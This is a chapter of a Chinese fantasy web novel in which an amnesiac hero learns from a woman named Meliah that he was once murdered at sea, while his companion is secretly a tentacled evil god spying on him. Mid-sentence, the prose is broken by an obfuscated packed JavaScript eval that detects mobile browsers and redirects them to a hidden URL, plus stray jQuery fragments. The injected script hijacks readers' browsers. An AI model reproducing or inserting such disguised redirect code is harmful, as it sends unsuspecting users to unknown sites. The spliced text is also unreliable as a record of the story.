侍者刻意压低音量,没有第三人听清她所说的话。
原溯光定定地看向眼前的女人,突然问道:“你叫什么名字?”
女人犹豫片刻,还是回答:“梅里亚。”
这个名字尚未出现在原溯光的记忆中,可他仍然觉得熟悉。他悄悄抿紧唇瓣,随即一言不发地转身离开,索拉尔不远不近地跟在他的身后,等到两人一起回到房中,索拉尔才开口问道:“发生什么事了吗?”
原溯光看向索拉尔黑沉的眼睛,只轻轻摇头:“也许是累了。”直觉告诉他,这件事情也许不该让索拉尔知道。
索拉尔没有过多询问,“如果你想找个人聊聊,可以来敲我的门。”索拉尔温声细语道,原溯光颇为感动地点点头,为自己的隐瞒感到愧疚。
索拉尔离开房间为他留出足够多的私人空间。
原溯光松了口气,躺在床上不停地想梅里亚刚才说的话究竟是什么意思。他迫不及待地坐起身,想要下楼再仔细询问一番,可想到梅里亚语焉不详的态度,他热切的情绪消散了几分,重新坐回到床边。
这件事情急不得,他不能引人怀疑,必须徐徐图之。
仅一墙之隔的另外一个房间里,索拉尔卸下全部的伪装,飘浮在半空中的眼球紧贴在墙壁上,目光穿透墙面黏在原溯光的身上。
触手躁动地拍打地面,塔拉萨克知道,留给自己的时间不多了。
回到银辉港,原溯光的记忆很快就会恢复,祂必须要在原溯光彻底想起来之前动手。祂拖动沉重的躯体在地板上滑行,原溯光靠在床边不知在思考些什么,那带有诱人香气的灵魂蛊惑着祂伸出手,向前伸出手……
原溯光突然起身,走近这间屋子。
塔拉萨克迅速恢复成索拉尔的模样,等待敲门声响起。
“索拉尔,你想要和我一起出门吗?”
原溯光在门口抱臂等待,索拉尔高声道:“当然,请稍等我一会儿。”
过了一会儿,那扇门被打开,原溯光好奇地透过缝隙查看黑洞洞的屋子,“你在里面做什么呢?”索拉尔曲起手指抚摸过他的下巴,仍旧用“秘密”两个字回答原溯光的问题。
原溯光早已习惯了索拉尔的行事作风,转而说起其他的事情。
他想要去海边看看。
索拉尔微微挑起眉头,适时地表达出惊异:“海边,可是现在的海恐怕很危险。”
原溯光当然知道,可冥冥之中有个声音一直告诉他,他应该去看看那片海,他遗失的记忆也许就和那片海有关。
“我知道啊,可是我还是想去看看。”他弯起眼睛,扯住索拉尔的手臂轻轻晃动两下,“可以吗?”
索拉尔欣然接受,陪同原溯光来到海边。
银辉港被包围在这片海域之间,海岸线绵长看不到尽头,海岸边还留有几只残破的小船和脱线的渔网。沙滩上他们留下的脚印很快又被新的风沙掩盖,站在海岸边,原溯光极目远眺,猎猎海风吹拂他的衣角和头发。
风声里混杂着某种奇怪的声音,他集中注意力想要听清那阵声音,注意力越集中,声音越清晰。
不知名的声音似乎是从海洋深处传出,带着诡异的语调,呼唤他的名字。
“原、原、原……”
一声接一声,一声比一声尖锐、高亢。
原溯光靠近索拉尔身侧,摇晃脑袋将尖利的声音甩脱。
“怎么了?”索拉尔看出原溯光的不适,不动声色地询问。
原溯光紧皱起眉头,空旷的海岸边只剩下呼啸而过的强劲海风。他歪过脑袋,寻找得更加仔细,可那阵呼唤已经消失得无影无踪,好像一切都只不过是他的错觉。
他只好向索拉尔摇头,“没事,应该是这里的风太大了。”
索拉尔拉起外袍罩在原溯光的身侧,“小心着凉。”
他们静静地在海边站了一会儿,除却那阵突然出现又突然消失的古怪声音以外,原溯光没有再找到任何线索。他不死心地往海边走了两步,仍然找不到任何有用的信息。
垂头丧气地回到索拉尔身边,幽幽叹出一口气。
索拉尔抬手戳弄他的唇角,“还要再待一会儿吗?”
原溯光已经恢复平常的状态,“不用啦,我们走吧。”他小跑几步,顶着迅疾的海风,宽大的长袍被风吹动鼓起。索拉尔不紧不慢地跟在原溯光身后,原溯光的头发乱蓬蓬地堆在脑后,摇晃时好像蓬松的小狗尾巴。
索拉尔伸手揪住那条长尾巴,原溯光乖顺地倚靠进他的怀里,睁着双无辜的眼睛,“你干嘛呀?”
“你的头发长了许多。”
原溯光的注意力很快被转移,他拉起自己的头发在手指上绕了几圈,小声嘀咕着该去哪里剪个头发。
索拉尔笑道:“我帮你吧。”
原溯光毫不犹豫地应下,放松身体靠在索拉尔的身边,一双眼睛滴溜溜地打转。
他们离开海岸边重新回到热闹的城区中央,城内居民警惕的目光让原溯光浑身不自在。
他想要去小摊上挑选一些常用品,却被摊主冷淡地回绝:“抱歉,我们不同外乡人做生意。”
原溯光只好无奈作罢,换到下一家摊贩仍然是同样的说法。他们都不愿与外来者做生意,自行拉扯起一条警戒线,即使有外来者可以进入银辉港内,也会被这条警戒线排除在外。
“帮我拿一块香皂。”悦耳的女声响起,要走了原溯光刚才想买但不能买的那些东西。
他颇为羡慕,却见那女人转过脸,露出熟悉的面容——是梅里亚!
方才还面色冷肃的摊主在看见梅里亚时个个喜笑颜开,甚至还因为梅里亚买的东西够多,搭上了些针线作为赠礼。梅里亚笑着向那些人道谢,拎起装得满满当当的篮子朝原溯光使了个眼色。
原溯光这才反应过来,梅里亚是在帮他。
刻意落后一些距离,在梅里亚走后他才拉着索拉尔跟上对方。
他们在拐角处碰头,梅里亚将篮子递过去,“下次如果还有想要买的东西,可以直接告诉我。”原溯光惊喜不已,接过篮子将早就准备好的钱递过去。
梅里亚没有要他的钱,神色复杂地看向他:“就当是我还债吧,当初的事情……”她顿了顿,错开原溯光的目光,声音放得更低,“我很抱歉,也很后悔。”
原溯光捧着那个篮子,忍不住开口:“为什么这么说?”
梅里亚不知道他是真的将前尘往事尽数遗忘,还以为他是故意提起这事,面上露出少许哀戚之色,“我后悔了很久,不管如何自我欺骗我都无法忘却那日你被送上海面的场景,那是谋杀,我们所有人都清楚那是一场谋杀。”
随着梅里亚的诉说,原溯光的脑中浮现出几个零散而模糊的片段。他将唇瓣抿得微微泛白,心脏剧烈跳动。
梅里亚咬住唇,没有继续说下去,只是告诉原溯光,以后遇到任何事情都可以去找她,她会尽力帮原溯光解决。
虽然原溯光没能记起梅里亚所说的事情的全部经过,但看着梅里亚分外愧疚的面色他也能猜出那一定不会是一件好事。他应下梅里亚的善意,提着那只篮子,和索拉尔一起回到住处。
沉默一路的索拉尔在回到房间里时终于开口:“原,也许你该告诉我,这究竟是怎么回事。”
就连原溯光自己都不知道这究竟是怎么一回事,他只能无奈摊手,表达自己的一无所知。
索拉尔拉下兜帽,目光间闪烁锐利的锋芒,“原,你不会骗我的,对吗?”
原溯光理所当然地点头,“当然。”他和索拉尔这一路相伴而行,他早已将对方看做自己的生死之交,至亲好友。在奥斯提亚大陆,他没有第二个亲人,索拉尔就是他最重要的亲人。
索拉尔凝重的面色稍显缓和,主动接过原溯光手里的篮子,帮忙整理好里面的东西。
原溯光笑眯眯地将索拉尔指挥得团团转,收拾好房间以后两人短暂分开,回到各自的房间里。
索拉尔在房间里来回踱步,梅里亚、梅里亚……这个人出乎邪神意料的棘手,她从未在邪神的视野里出现,却意外松动了原溯光记忆的封锁。祂必
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484789|185686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
须要再快一点,再快一点。
原溯光一无所知地待在房中,思索那些凌乱的记忆来源。
也许他应该去找梅里亚再聊一次。
打定主意以后,原溯光没有寻找在屋内休息的索拉尔,反倒一个人走出房间。在他所不知道的地方,塔拉萨克的眼睛睁不正死死地盯着他,眼球飞速黏上原溯光的后背,悄无声息地监视着他的一举一动。
梅里亚将自己现在的住址放到篮子的底部,原溯光循着纸条上所写的地址找到了梅里亚的住所。
他站在破败的院门外,腐烂的锁头轻轻搭合在一起,挡不住任何人的进入。
门内,一个长相酷似梅里亚的女孩子探出小半个脑袋,警惕又好奇地看向原溯光。
两人对视许久,原溯光率先露出笑容。女孩被他友好的笑容打动,小心翼翼地露出整张脸,轻声问道:“您、您找谁?”
原溯光说:“梅里亚是住在这里吗?”
听到熟悉的人的名字,女孩终于壮着胆子走出遮蔽物,瘦小的身体被破旧、打补丁的衣服罩住。她揉搓着泛黄的衣角,“姐姐不在家,出去工作了。”
原溯光毫不意外自己听到的话,奥斯提亚大陆上的普通人数量众多,生活在底层的民众需要一天打多份工来贴补家用。他这一路走来,见过无数像梅里亚这样的普通人。
“她什么时候才会回来呢?”
小女孩怯生生地摇头,“不知道,有时候会早,有时候很晚才会回来。”
他了然点头,迅速扯下衣角的布,从地上捡起半截木头往衣服上画了一个阵法交到小女孩的手里,“把这个拿上,等梅里亚回来告诉她,让她往阵法里滴一滴血,我就会知道。”
小女孩捧着那半块布料,看向原溯光的眼神里已不再有怯懦,取而代之的是完全的狂热和敬畏。
“您、您是魔法师吗?”女孩高兴得原地蹦跳两下,脸上布满红晕,“天呐,我真没想到自己有一天居然能看见魔法师。”
在奥斯提亚大陆,拥有魔法天赋和魔力的人数量稀少,因为魔力的稀缺人数还是逐年减少。
原溯光全然理解女孩的兴奋,可他必须按住女孩的情绪,不然引来更多的人就不好了。女孩如获至宝地抱住那块布料连忙点头,说自己一定会将他的话传达给姐姐。
他拍拍女孩的脑袋,笑着向人道谢。
小女孩羞赧地垂眸,随后用一种充满希冀的语气问道:“您说我会有魔法天赋吗?我快要七岁了了,姐姐说,每个年满七岁的孩子都要进行天赋测试。通过测试拥有天赋的孩子就能见到永恒之主,我猜您一定也见过永恒之主吧。”
她絮絮叨叨说了许多话,沉浸在美好的愿景中。
原溯光不知该如何告诉这位满怀期待的孩子,也许她们所信仰的神明并没有那么值得信任。他见过圣殿的腐朽与不堪,对于神明的事迹有些嗤之以鼻。
如若这位永恒之主真的如此英明神武,又怎会不知这些信仰他的人们处于什么样水深火热的境地中,又为何不肯施以援手?
他轻微蹙眉的反应却让女孩惶恐地瞪大眼睛,她扑通一下跪倒在地,“请您责罚,请您责罚。”她连连磕头求饶,原溯光赶忙上前扶起她虚弱的身体,“我没有怪你。”
面对绝对力量的威胁,女孩抖若筛糠。即使原溯光态度和煦,但对于力量的恐惧早已深入她的骨髓,她自顾自地埋头应声,只一味地说着抱歉。
原溯光无言地松开手,只能小心往指尖汇入一抹力量。
如温暖泉水般的力量逐渐融入女孩的身体,涤荡她体内的每一处,替她消除那些沉积已久的病痛。
女孩隐秘地抬眼看向正垂着眸的原溯光,认真检查她这副孱弱身体的原溯光并未在意女孩小心地打量。
他轻轻松手,不再留下,只是嘱咐女孩等到梅里亚回来以后尽快联系自己。
女孩点头如捣蒜,站在门边目送原溯光远去。
身体里奇妙的力量感应让她惶恐不安的同时雀跃不已,她紧闭房门,静静等待着姐姐回家。